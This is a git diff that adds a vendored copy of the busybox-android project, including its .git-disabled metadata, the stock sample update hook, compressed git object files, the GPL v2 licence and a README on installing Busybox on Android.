--bool hooks.allowdeletetag) +allowmodifytag=$(git config --bool hooks.allowmodifytag) + +# check for no description +projectdesc=$(sed -e '1q' "$GIT_DIR/description") +case "$projectdesc" in +"Unnamed repository"* | "") + echo "*** Project description file hasn't been set" >&2 + exit 1 + ;; +esac + +# --- Check types +# if $newrev is 0000...0000, it's a commit to delete a ref. +zero="0000000000000000000000000000000000000000" +if [ "$newrev" = "$zero" ]; then + newrev_type=delete +else + newrev_type=$(git cat-file -t $newrev) +fi + +case "$refname","$newrev_type" in + refs/tags/*,commit) + # un-annotated tag + short_refname=${refname##refs/tags/} + if [ "$allowunannotated" != "true" ]; then + echo "*** The un-annotated tag, $short_refname, is not allowed in this repository" >&2 + echo "*** Use 'git tag [ -a | -s ]' for tags you want to propagate." >&2 + exit 1 + fi + ;; + refs/tags/*,delete) + # delete tag + if [ "$allowdeletetag" != "true" ]; then + echo "*** Deleting a tag is not allowed in this repository" >&2 + exit 1 + fi + ;; + refs/tags/*,tag) + # annotated tag + if [ "$allowmodifytag" != "true" ] && git rev-parse $refname > /dev/null 2>&1 + then + echo "*** Tag '$refname' already exists." >&2 + echo "*** Modifying a tag is not allowed in this repository." >&2 + exit 1 + fi + ;; + refs/heads/*,commit) + # branch + if [ "$oldrev" = "$zero" -a "$denycreatebranch" = "true" ]; then + echo "*** Creating a branch is not allowed in this repository" >&2 + exit 1 + fi + ;; + refs/heads/*,delete) + # delete branch + if [ "$allowdeletebranch" != "true" ]; then + echo "*** Deleting a branch is not allowed in this repository" >&2 + exit 1 + fi + ;; + refs/remotes/*,commit) + # tracking branch + ;; + refs/remotes/*,delete) + # delete tracking branch + if [ "$allowdeletebranch" != "true" ]; then + echo "*** Deleting a tracking branch is not allowed in this repository" >&2 + exit 1 + fi + ;; + *) + # Anything else (is there anything else?) + echo "*** Update hook: unknown type of update to ref $refname of type $newrev_type" >&2 + exit 1 + ;; +esac + +# --- Finished +exit 0 diff --git b/tools/busybox-android/.git-disabled/index a/tools/busybox-android/.git-disabled/index new file mode 100644 index 0000000..69b0565 --- /dev/null +++ a/tools/busybox-android/.git-disabled/index diff --git b/tools/busybox-android/.git-disabled/info/exclude a/tools/busybox-android/.git-disabled/info/exclude new file mode 100644 index 0000000..a5196d1 --- /dev/null +++ a/tools/busybox-android/.git-disabled/info/exclude @@ -0,0 +1,6 @@ +# git ls-files --others --exclude-from=.git/info/exclude +# Lines that start with '#' are comments. +# For a project mostly in C, the following would be a good set of +# exclude patterns (uncomment them if you want to use them): +# *.[oa] +# *~ diff --git b/tools/busybox-android/.git-disabled/logs/HEAD a/tools/busybox-android/.git-disabled/logs/HEAD new file mode 100644 index 0000000..31b7227 --- /dev/null +++ a/tools/busybox-android/.git-disabled/logs/HEAD @@ -0,0 +1 @@ +0000000000000000000000000000000000000000 a976dd46ad8affc96ac30ddc3a7f6e5640d3272f Imanol-Mikel Barba Sabariego 1495319412 +0200 clone: from https://github.com/Gnurou/busybox-android.git diff --git b/tools/busybox-android/.git-disabled/logs/refs/heads/master a/tools/busybox-android/.git-disabled/logs/refs/heads/master new file mode 100644 index 0000000..31b7227 --- /dev/null +++ a/tools/busybox-android/.git-disabled/logs/refs/heads/master @@ -0,0 +1 @@ +0000000000000000000000000000000000000000 a976dd46ad8affc96ac30ddc3a7f6e5640d3272f Imanol-Mikel Barba Sabariego 1495319412 +0200 clone: from https://github.com/Gnurou/busybox-android.git diff --git b/tools/busybox-android/.git-disabled/logs/refs/remotes/origin/HEAD a/tools/busybox-android/.git-disabled/logs/refs/remotes/origin/HEAD new file mode 100644 index 0000000..31b7227 --- /dev/null +++ a/tools/busybox-android/.git-disabled/logs/refs/remotes/origin/HEAD @@ -0,0 +1 @@ +0000000000000000000000000000000000000000 a976dd46ad8affc96ac30ddc3a7f6e5640d3272f Imanol-Mikel Barba Sabariego 1495319412 +0200 clone: from https://github.com/Gnurou/busybox-android.git diff --git b/tools/busybox-android/.git-disabled/objects/0b/63fa70c43ee3e4abddec7996adf87564d250b0 a/tools/busybox-android/.git-disabled/objects/0b/63fa70c43ee3e4abddec7996adf87564d250b0 new file mode 100644 index 0000000..8a0712a --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/0b/63fa70c43ee3e4abddec7996adf87564d250b0 @@ -0,0 +1,2 @@ +x} +0ǻS[PUQ76+>?fJSUT(lK]i~(0Ha\ @Υl F83U֑ZۆW-!c"т}^`KZYRM񭔚>Ioޗ,s[oP8Ɣ)88Z;;*+#07];\>Rk$я~(G1WNMZkuY4R 8M芞R +nT \ No newline at end of file diff --git b/tools/busybox-android/.git-disabled/objects/17/e953ad8946aca71f145b900cc889e37ea1489b a/tools/busybox-android/.git-disabled/objects/17/e953ad8946aca71f145b900cc889e37ea1489b new file mode 100644 index 0000000..c12c4ba --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/17/e953ad8946aca71f145b900cc889e37ea1489b @@ -0,0 +1,4 @@ +xeAK@6אK.RFlHM6m ݭ6YkE3ݓyaJdQ qs + I@y0`8r*mP㽱LI~M.)?1@ѵxj4:)aF)嚇ȳ$v@lް% +퀸p\Tv!tl Pq \ No newline at end of file diff --git b/tools/busybox-android/.git-disabled/objects/1a/0dbae0dd803782131025595b46b4965772600e a/tools/busybox-android/.git-disabled/objects/1a/0dbae0dd803782131025595b46b4965772600e new file mode 100644 index 0000000..af7f3a2 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/1a/0dbae0dd803782131025595b46b4965772600e diff --git b/tools/busybox-android/.git-disabled/objects/1a/c5c40128b6c6c6429927de4737468655d72dde a/tools/busybox-android/.git-disabled/objects/1a/c5c40128b6c6c6429927de4737468655d72dde new file mode 100644 index 0000000..8515914 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/1a/c5c40128b6c6c6429927de4737468655d72dde @@ -0,0 +1,3 @@ +x[j0EU!d=! id*b[F,.rJ_&`\<ɨ"MƖìO13{R; h'"r(`\m=-M +_9rPոѹ +zѤLXPP;Tޗ,!65y_3SS \ No newline at end of file diff --git b/tools/busybox-android/.git-disabled/objects/1c/be2aaf05cd3a45fd79ad79d093f40c38c8a575 a/tools/busybox-android/.git-disabled/objects/1c/be2aaf05cd3a45fd79ad79d093f40c38c8a575 new file mode 100644 index 0000000..a030286 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/1c/be2aaf05cd3a45fd79ad79d093f40c38c8a575 diff --git b/tools/busybox-android/.git-disabled/objects/1d/e024072c10295d83c341747749465d7e0b17f8 a/tools/busybox-android/.git-disabled/objects/1d/e024072c10295d83c341747749465d7e0b17f8 new file mode 100644 index 0000000..c38b2ca --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/1d/e024072c10295d83c341747749465d7e0b17f8 diff --git b/tools/busybox-android/.git-disabled/objects/1e/4fe7013dff7aafe35013c1023712a06f723619 a/tools/busybox-android/.git-disabled/objects/1e/4fe7013dff7aafe35013c1023712a06f723619 new file mode 100644 index 0000000..1ddfa7d --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/1e/4fe7013dff7aafe35013c1023712a06f723619 diff --git b/tools/busybox-android/.git-disabled/objects/1e/502f17136c82bee661f66261b0fca6abf88a15 a/tools/busybox-android/.git-disabled/objects/1e/502f17136c82bee661f66261b0fca6abf88a15 new file mode 100644 index 0000000..e71897e --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/1e/502f17136c82bee661f66261b0fca6abf88a15 diff --git b/tools/busybox-android/.git-disabled/objects/1f/359537f2e4182bede73bae9645880ac21f2414 a/tools/busybox-android/.git-disabled/objects/1f/359537f2e4182bede73bae9645880ac21f2414 new file mode 100644 index 0000000..5f01c88 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/1f/359537f2e4182bede73bae9645880ac21f2414 diff --git b/tools/busybox-android/.git-disabled/objects/22/59cb022c1539de3ec8631ca820d81a538826f8 a/tools/busybox-android/.git-disabled/objects/22/59cb022c1539de3ec8631ca820d81a538826f8 new file mode 100644 index 0000000..989587a --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/22/59cb022c1539de3ec8631ca820d81a538826f8 diff --git b/tools/busybox-android/.git-disabled/objects/24/fde8baa804f7b2b0cafed1a98d7a984bad73ea a/tools/busybox-android/.git-disabled/objects/24/fde8baa804f7b2b0cafed1a98d7a984bad73ea new file mode 100644 index 0000000..e450e58 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/24/fde8baa804f7b2b0cafed1a98d7a984bad73ea diff --git b/tools/busybox-android/.git-disabled/objects/2b/bcf87f5572f96d391d09b78bb709a83eb55385 a/tools/busybox-android/.git-disabled/objects/2b/bcf87f5572f96d391d09b78bb709a83eb55385 new file mode 100644 index 0000000..61d69d9 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/2b/bcf87f5572f96d391d09b78bb709a83eb55385 diff --git b/tools/busybox-android/.git-disabled/objects/2f/d51322971a139f0996b6e1e8697b3a91c44256 a/tools/busybox-android/.git-disabled/objects/2f/d51322971a139f0996b6e1e8697b3a91c44256 new file mode 100644 index 0000000..88f7eba --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/2f/d51322971a139f0996b6e1e8697b3a91c44256 diff --git b/tools/busybox-android/.git-disabled/objects/32/bfe02bcbaf5a361acf6ecd5487bcabdf0bcc22 a/tools/busybox-android/.git-disabled/objects/32/bfe02bcbaf5a361acf6ecd5487bcabdf0bcc22 new file mode 100644 index 0000000..93462c8 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/32/bfe02bcbaf5a361acf6ecd5487bcabdf0bcc22 diff --git b/tools/busybox-android/.git-disabled/objects/33/c77f6edfd0e38f0141d6c2bc25a8b30b993100 a/tools/busybox-android/.git-disabled/objects/33/c77f6edfd0e38f0141d6c2bc25a8b30b993100 new file mode 100644 index 0000000..fd6a722 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/33/c77f6edfd0e38f0141d6c2bc25a8b30b993100 diff --git b/tools/busybox-android/.git-disabled/objects/3c/3126c9c14547809171483a934ad11f1b07577b a/tools/busybox-android/.git-disabled/objects/3c/3126c9c14547809171483a934ad11f1b07577b new file mode 100644 index 0000000..431a78a --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/3c/3126c9c14547809171483a934ad11f1b07577b diff --git b/tools/busybox-android/.git-disabled/objects/3f/104efa7a5aede0ff29a2eab5d6122d79978887 a/tools/busybox-android/.git-disabled/objects/3f/104efa7a5aede0ff29a2eab5d6122d79978887 new file mode 100644 index 0000000..bb0de28 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/3f/104efa7a5aede0ff29a2eab5d6122d79978887 diff --git b/tools/busybox-android/.git-disabled/objects/44/f88a721a10974f644302533b581ab56d64af0a a/tools/busybox-android/.git-disabled/objects/44/f88a721a10974f644302533b581ab56d64af0a new file mode 100644 index 0000000..d42fc1f --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/44/f88a721a10974f644302533b581ab56d64af0a diff --git b/tools/busybox-android/.git-disabled/objects/46/042eb4b5791342d9f79034416936219bdde7cd a/tools/busybox-android/.git-disabled/objects/46/042eb4b5791342d9f79034416936219bdde7cd new file mode 100644 index 0000000..e8c88e1 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/46/042eb4b5791342d9f79034416936219bdde7cd diff --git b/tools/busybox-android/.git-disabled/objects/46/52cacbc3309f39ccbfade15e23a9c4367df298 a/tools/busybox-android/.git-disabled/objects/46/52cacbc3309f39ccbfade15e23a9c4367df298 new file mode 100644 index 0000000..b7c9b9d --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/46/52cacbc3309f39ccbfade15e23a9c4367df298 @@ -0,0 +1 @@ +xAjC!@/ѯBi zqS!_7#txǓqmeMUHXr.cDVqۑb7O (RDCRT_[NҞkL/2.>Xpfy{iIvCJhGxńh1 +vSFcOP \ No newline at end of file diff --git b/tools/busybox-android/.git-disabled/objects/47/dcc96e0cf1cd7fa3549d6cf95e4bb9c0b6f53a a/tools/busybox-android/.git-disabled/objects/47/dcc96e0cf1cd7fa3549d6cf95e4bb9c0b6f53a new file mode 100644 index 0000000..1e0029d --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/47/dcc96e0cf1cd7fa3549d6cf95e4bb9c0b6f53a diff --git b/tools/busybox-android/.git-disabled/objects/4a/055425b63133de2e89bff9287cf594c104fd4c a/tools/busybox-android/.git-disabled/objects/4a/055425b63133de2e89bff9287cf594c104fd4c new file mode 100644 index 0000000..933143e --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/4a/055425b63133de2e89bff9287cf594c104fd4c diff --git b/tools/busybox-android/.git-disabled/objects/4c/43c8d102b8265b0d45f86bb0dfd0d3d1cbd5cd a/tools/busybox-android/.git-disabled/objects/4c/43c8d102b8265b0d45f86bb0dfd0d3d1cbd5cd new file mode 100644 index 0000000..f97b5b5 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/4c/43c8d102b8265b0d45f86bb0dfd0d3d1cbd5cd diff --git b/tools/busybox-android/.git-disabled/objects/4d/c989c0c727397076281e3c9f32e8c43c3cc49e a/tools/busybox-android/.git-disabled/objects/4d/c989c0c727397076281e3c9f32e8c43c3cc49e new file mode 100644 index 0000000..8fa420f --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/4d/c989c0c727397076281e3c9f32e8c43c3cc49e diff --git b/tools/busybox-android/.git-disabled/objects/54/688385c2f47d2c2c719554e2588a8e362f84f9 a/tools/busybox-android/.git-disabled/objects/54/688385c2f47d2c2c719554e2588a8e362f84f9 new file mode 100644 index 0000000..362d056 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/54/688385c2f47d2c2c719554e2588a8e362f84f9 diff --git b/tools/busybox-android/.git-disabled/objects/56/dd3969ce8045b5476ae103fea4a1a8081c7651 a/tools/busybox-android/.git-disabled/objects/56/dd3969ce8045b5476ae103fea4a1a8081c7651 new file mode 100644 index 0000000..174160c --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/56/dd3969ce8045b5476ae103fea4a1a8081c7651 @@ -0,0 +1 @@ +xKN0YGBiޕ5NfDD4E 7?jQ܍ D,9bʜ# qLNƍ$O\kGټFlI D ̪XsgxmWڀG\J.@xl{jf;AcBc:*L8yY \ No newline at end of file diff --git b/tools/busybox-android/.git-disabled/objects/5a/ae9a60713a6b1257437d68e7be3ee284d836c6 a/tools/busybox-android/.git-disabled/objects/5a/ae9a60713a6b1257437d68e7be3ee284d836c6 new file mode 100644 index 0000000..721db51 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/5a/ae9a60713a6b1257437d68e7be3ee284d836c6 diff --git b/tools/busybox-android/.git-disabled/objects/5a/d9f210314d8e4ac74c9e76e85d73b693eb938e a/tools/busybox-android/.git-disabled/objects/5a/d9f210314d8e4ac74c9e76e85d73b693eb938e new file mode 100644 index 0000000..e54466c --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/5a/d9f210314d8e4ac74c9e76e85d73b693eb938e diff --git b/tools/busybox-android/.git-disabled/objects/5d/1f5aa0aa1d9e7d0849b92fb916f15c99b32b48 a/tools/busybox-android/.git-disabled/objects/5d/1f5aa0aa1d9e7d0849b92fb916f15c99b32b48 new file mode 100644 index 0000000..d061cf8 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/5d/1f5aa0aa1d9e7d0849b92fb916f15c99b32b48 diff --git b/tools/busybox-android/.git-disabled/objects/5f/7dde32df5c0723208ac40b01447f25334ee767 a/tools/busybox-android/.git-disabled/objects/5f/7dde32df5c0723208ac40b01447f25334ee767 new file mode 100644 index 0000000..04437b6 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/5f/7dde32df5c0723208ac40b01447f25334ee767 diff --git b/tools/busybox-android/.git-disabled/objects/60/af8da0f65bba15f2e2029ed0853cffc3b26a1c a/tools/busybox-android/.git-disabled/objects/60/af8da0f65bba15f2e2029ed0853cffc3b26a1c new file mode 100644 index 0000000..55f418b --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/60/af8da0f65bba15f2e2029ed0853cffc3b26a1c diff --git b/tools/busybox-android/.git-disabled/objects/61/2b0bcf6ee8b65974e7e8de662c3bb31afa093d a/tools/busybox-android/.git-disabled/objects/61/2b0bcf6ee8b65974e7e8de662c3bb31afa093d new file mode 100644 index 0000000..c6e5c6a --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/61/2b0bcf6ee8b65974e7e8de662c3bb31afa093d diff --git b/tools/busybox-android/.git-disabled/objects/63/229499984049ce930f38c39be2d5ed23b51219 a/tools/busybox-android/.git-disabled/objects/63/229499984049ce930f38c39be2d5ed23b51219 new file mode 100644 index 0000000..db9014c --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/63/229499984049ce930f38c39be2d5ed23b51219 diff --git b/tools/busybox-android/.git-disabled/objects/63/8d203f2e10ee368696eac1b758d2e5c11e9b90 a/tools/busybox-android/.git-disabled/objects/63/8d203f2e10ee368696eac1b758d2e5c11e9b90 new file mode 100644 index 0000000..a6156bc --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/63/8d203f2e10ee368696eac1b758d2e5c11e9b90 diff --git b/tools/busybox-android/.git-disabled/objects/66/7ceb4c089dd76c54e7c3d31372712333a453f7 a/tools/busybox-android/.git-disabled/objects/66/7ceb4c089dd76c54e7c3d31372712333a453f7 new file mode 100644 index 0000000..c09fd36 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/66/7ceb4c089dd76c54e7c3d31372712333a453f7 @@ -0,0 +1,2 @@ +x+)JMU064g040031QpK)Lf(6庱|C\n/ؕ!?`S: |8,J\]|]n~0:3Elɯ'U*$W&W0 4{-)qßetB *M $9m"=[fim}1~1P \ No newline at end of file diff --git b/tools/busybox-android/.git-disabled/objects/a4/35db37c1cda4ac69c1315098cb7c8ad6a7d67a a/tools/busybox-android/.git-disabled/objects/a4/35db37c1cda4ac69c1315098cb7c8ad6a7d67a new file mode 100644 index 0000000..33ecdef --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/a4/35db37c1cda4ac69c1315098cb7c8ad6a7d67a diff --git b/tools/busybox-android/.git-disabled/objects/a9/76dd46ad8affc96ac30ddc3a7f6e5640d3272f a/tools/busybox-android/.git-disabled/objects/a9/76dd46ad8affc96ac30ddc3a7f6e5640d3272f new file mode 100644 index 0000000..e61e36f --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/a9/76dd46ad8affc96ac30ddc3a7f6e5640d3272f diff --git b/tools/busybox-android/.git-disabled/objects/ac/5e5e111323156b5bd581d817c6013406ef540d a/tools/busybox-android/.git-disabled/objects/ac/5e5e111323156b5bd581d817c6013406ef540d new file mode 100644 index 0000000..8d52894 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/ac/5e5e111323156b5bd581d817c6013406ef540d diff --git b/tools/busybox-android/.git-disabled/objects/b9/064d259b39fc410b387ccecac857e3737a3558 a/tools/busybox-android/.git-disabled/objects/b9/064d259b39fc410b387ccecac857e3737a3558 new file mode 100644 index 0000000..7b7b16d --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/b9/064d259b39fc410b387ccecac857e3737a3558 diff --git b/tools/busybox-android/.git-disabled/objects/b9/2d91adedca73125943e5c9d6c2333730d2773d a/tools/busybox-android/.git-disabled/objects/b9/2d91adedca73125943e5c9d6c2333730d2773d new file mode 100644 index 0000000..fd0431b --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/b9/2d91adedca73125943e5c9d6c2333730d2773d diff --git b/tools/busybox-android/.git-disabled/objects/bb/20ca418d8ff504c67b1cf8315c3414fd171b1c a/tools/busybox-android/.git-disabled/objects/bb/20ca418d8ff504c67b1cf8315c3414fd171b1c new file mode 100644 index 0000000..57870d7 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/bb/20ca418d8ff504c67b1cf8315c3414fd171b1c diff --git b/tools/busybox-android/.git-disabled/objects/bd/761e117a98b19b7727c4cc945521e297fdc0fc a/tools/busybox-android/.git-disabled/objects/bd/761e117a98b19b7727c4cc945521e297fdc0fc new file mode 100644 index 0000000..2354248 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/bd/761e117a98b19b7727c4cc945521e297fdc0fc diff --git b/tools/busybox-android/.git-disabled/objects/bf/e0be6bb8512bfb074c8e9f613753fd9eb41515 a/tools/busybox-android/.git-disabled/objects/bf/e0be6bb8512bfb074c8e9f613753fd9eb41515 new file mode 100644 index 0000000..3985441 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/bf/e0be6bb8512bfb074c8e9f613753fd9eb41515 diff --git b/tools/busybox-android/.git-disabled/objects/c1/fad304b902c7fba63adcd5f3676f71923bc280 a/tools/busybox-android/.git-disabled/objects/c1/fad304b902c7fba63adcd5f3676f71923bc280 new file mode 100644 index 0000000..79a619a --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/c1/fad304b902c7fba63adcd5f3676f71923bc280 @@ -0,0 +1,3 @@ +x] +!F{vw^uT(qi Az^JkDwj5%'$Qs4"wrV)Sz{ +O:h5KZ}ɴ~.9)ʡ37A˖k=}~I \ No newline at end of file diff --git b/tools/busybox-android/.git-disabled/objects/c9/e2da5994d911322d3919e8ac1beb0bc145a8a7 a/tools/busybox-android/.git-disabled/objects/c9/e2da5994d911322d3919e8ac1beb0bc145a8a7 new file mode 100644 index 0000000..77ed161 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/c9/e2da5994d911322d3919e8ac1beb0bc145a8a7 diff --git b/tools/busybox-android/.git-disabled/objects/cd/6ec38556e47dbaa0105870a18c48bf3fc20b90 a/tools/busybox-android/.git-disabled/objects/cd/6ec38556e47dbaa0105870a18c48bf3fc20b90 new file mode 100644 index 0000000..e00f2c7 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/cd/6ec38556e47dbaa0105870a18c48bf3fc20b90 @@ -0,0 +1,2 @@ +xJ0@]+fQ2i&ڏ&,MIӋoOpw8Im]"& +"0q%[0@1"*1ڹ6\St1IЖfޱe&ux[spGoc NDn:j.{GB}k#e횙Ze<オ~ U \ No newline at end of file diff --git b/tools/busybox-android/.git-disabled/objects/d4/232b01e24a0e08dfe3d79bdba0998f0732a43e a/tools/busybox-android/.git-disabled/objects/d4/232b01e24a0e08dfe3d79bdba0998f0732a43e new file mode 100644 index 0000000..9e1c6a4 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/d4/232b01e24a0e08dfe3d79bdba0998f0732a43e diff --git b/tools/busybox-android/.git-disabled/objects/d7/7776593ac40daa2a509d3ce531d19a9cdd8175 a/tools/busybox-android/.git-disabled/objects/d7/7776593ac40daa2a509d3ce531d19a9cdd8175 new file mode 100644 index 0000000..3428a93 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/d7/7776593ac40daa2a509d3ce531d19a9cdd8175 diff --git b/tools/busybox-android/.git-disabled/objects/dc/e73a9fe6d248148f3f553a4cffb4efe5b02018 a/tools/busybox-android/.git-disabled/objects/dc/e73a9fe6d248148f3f553a4cffb4efe5b02018 new file mode 100644 index 0000000..c756f16 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/dc/e73a9fe6d248148f3f553a4cffb4efe5b02018 diff --git b/tools/busybox-android/.git-disabled/objects/e1/480d5a478c4a48c1f659eca76d3c15dcbdac82 a/tools/busybox-android/.git-disabled/objects/e1/480d5a478c4a48c1f659eca76d3c15dcbdac82 new file mode 100644 index 0000000..f961735 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/e1/480d5a478c4a48c1f659eca76d3c15dcbdac82 diff --git b/tools/busybox-android/.git-disabled/objects/e1/4dc96d1687e11c3911e6741ba9e9daa07bd4b9 a/tools/busybox-android/.git-disabled/objects/e1/4dc96d1687e11c3911e6741ba9e9daa07bd4b9 new file mode 100644 index 0000000..eb2e591 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/e1/4dc96d1687e11c3911e6741ba9e9daa07bd4b9 diff --git b/tools/busybox-android/.git-disabled/objects/e5/479fa086259863408c54119db64ff64179e2e9 a/tools/busybox-android/.git-disabled/objects/e5/479fa086259863408c54119db64ff64179e2e9 new file mode 100644 index 0000000..fdcd0fc --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/e5/479fa086259863408c54119db64ff64179e2e9 diff --git b/tools/busybox-android/.git-disabled/objects/e9/81fd41f926040be5b9eca948605339cade9144 a/tools/busybox-android/.git-disabled/objects/e9/81fd41f926040be5b9eca948605339cade9144 new file mode 100644 index 0000000..1f24c2a --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/e9/81fd41f926040be5b9eca948605339cade9144 diff --git b/tools/busybox-android/.git-disabled/objects/ef/7b8438f3027024071d37b63298e018b8192f6e a/tools/busybox-android/.git-disabled/objects/ef/7b8438f3027024071d37b63298e018b8192f6e new file mode 100644 index 0000000..64be49a --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/ef/7b8438f3027024071d37b63298e018b8192f6e @@ -0,0 +1,4 @@ +xj >}1RZ +^hPl~B߆y8r0W"q EԨEATXg!Vc4;RJxKm{1ЬHH~0 +;=1JYJ;)$|xY +%юAѾC5AWCC>+Ծ[cr)Omc?'^7 \ No newline at end of file diff --git b/tools/busybox-android/.git-disabled/objects/f6/69787856b0b11f2a9aea737e98b45a5c931377 a/tools/busybox-android/.git-disabled/objects/f6/69787856b0b11f2a9aea737e98b45a5c931377 new file mode 100644 index 0000000..ad42686 --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/f6/69787856b0b11f2a9aea737e98b45a5c931377 @@ -0,0 +1 @@ +xAj1 E)+i qp@x|mR'z (ǂ#Fq)m@YD\<s N:_ ~۵6S[-U޵-_!D;޻nGp[`tX]΢vq#TC \ No newline at end of file diff --git b/tools/busybox-android/.git-disabled/objects/f6/ff3c4cd23a8de844c202ce8edcd46e890abcf8 a/tools/busybox-android/.git-disabled/objects/f6/ff3c4cd23a8de844c202ce8edcd46e890abcf8 new file mode 100644 index 0000000..1d7260b --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/f6/ff3c4cd23a8de844c202ce8edcd46e890abcf8 diff --git b/tools/busybox-android/.git-disabled/objects/f7/1b30dd4dee931a48fe1eeaad75717126811756 a/tools/busybox-android/.git-disabled/objects/f7/1b30dd4dee931a48fe1eeaad75717126811756 new file mode 100644 index 0000000..fd6bc9a --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/f7/1b30dd4dee931a48fe1eeaad75717126811756 diff --git b/tools/busybox-android/.git-disabled/objects/f8/35e50a4ed3c01ef77140fb5fe7d659c85f5423 a/tools/busybox-android/.git-disabled/objects/f8/35e50a4ed3c01ef77140fb5fe7d659c85f5423 new file mode 100644 index 0000000..492b9ff --- /dev/null +++ a/tools/busybox-android/.git-disabled/objects/f8/35e50a4ed3c01ef77140fb5fe7d659c85f5423 @@ -0,0 +1 @@ +xKj1)zo0R>#!&'ZX >~&xo[Ν,BXt~bd1$ky!m+!g!%P/^6tDV$x>z<>>?}+_R>%CZGPל + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Library General +Public License instead of this License. diff --git b/tools/busybox-android/README.md a/tools/busybox-android/README.md new file mode 100644 index 0000000..4dc989c --- /dev/null +++ a/tools/busybox-android/README.md @@ -0,0 +1,71 @@ +Busybox for Android the Easy Way (just a quick hack) +==================================================== + +This little package is designed to make your life easier if you are using +the shell under an Android device. It includes a full-fledged Busybox +environment that should make a fair replacement for the poor toolbox that +comes with Android by default. + +You can install it in two ways: if you are compiling Android yourself, then +you can add this package to your repository and Busybox will replace the +default Toolbox whenever possible. If you already have a deployed (and +rooted!) Android device, you can deploy busybox on it. + +Installing in your Android source tree +-------------------------------------- +Simply add a 'local_manifest.xml' file (or edit the existing one) in the .repo +directory located at the root of your Android source tree with the following +lines: + + + + + + + +Then run "repo sync" and build your images normally. + +Installing on an already-deployed Android device +------------------------------------------------ +Run the 'android-install.sh' script while your device is connected. This will +remount the system partition read-write, copy busybox, and make the appropriate +symlinks on your device. You will need adb in your path for this to work. + +Misc +---- +The files busybox-android.patch and busybox-android.config are a patch that +allows ash history to work on Android and the configuration used to build +Busybox, respectively. The busybox binary has been built statically against +glibc - unfortunately, it seems impossible to build it against Android NDK. + +Non-executable .sh scripts are not meant to be run directly by the user. + +Compiling yourself +------------------ +It should be pretty easy to recompile the binary yourself by following these +steps: + +1. Get and install the latest GNU/Linux toolchain from 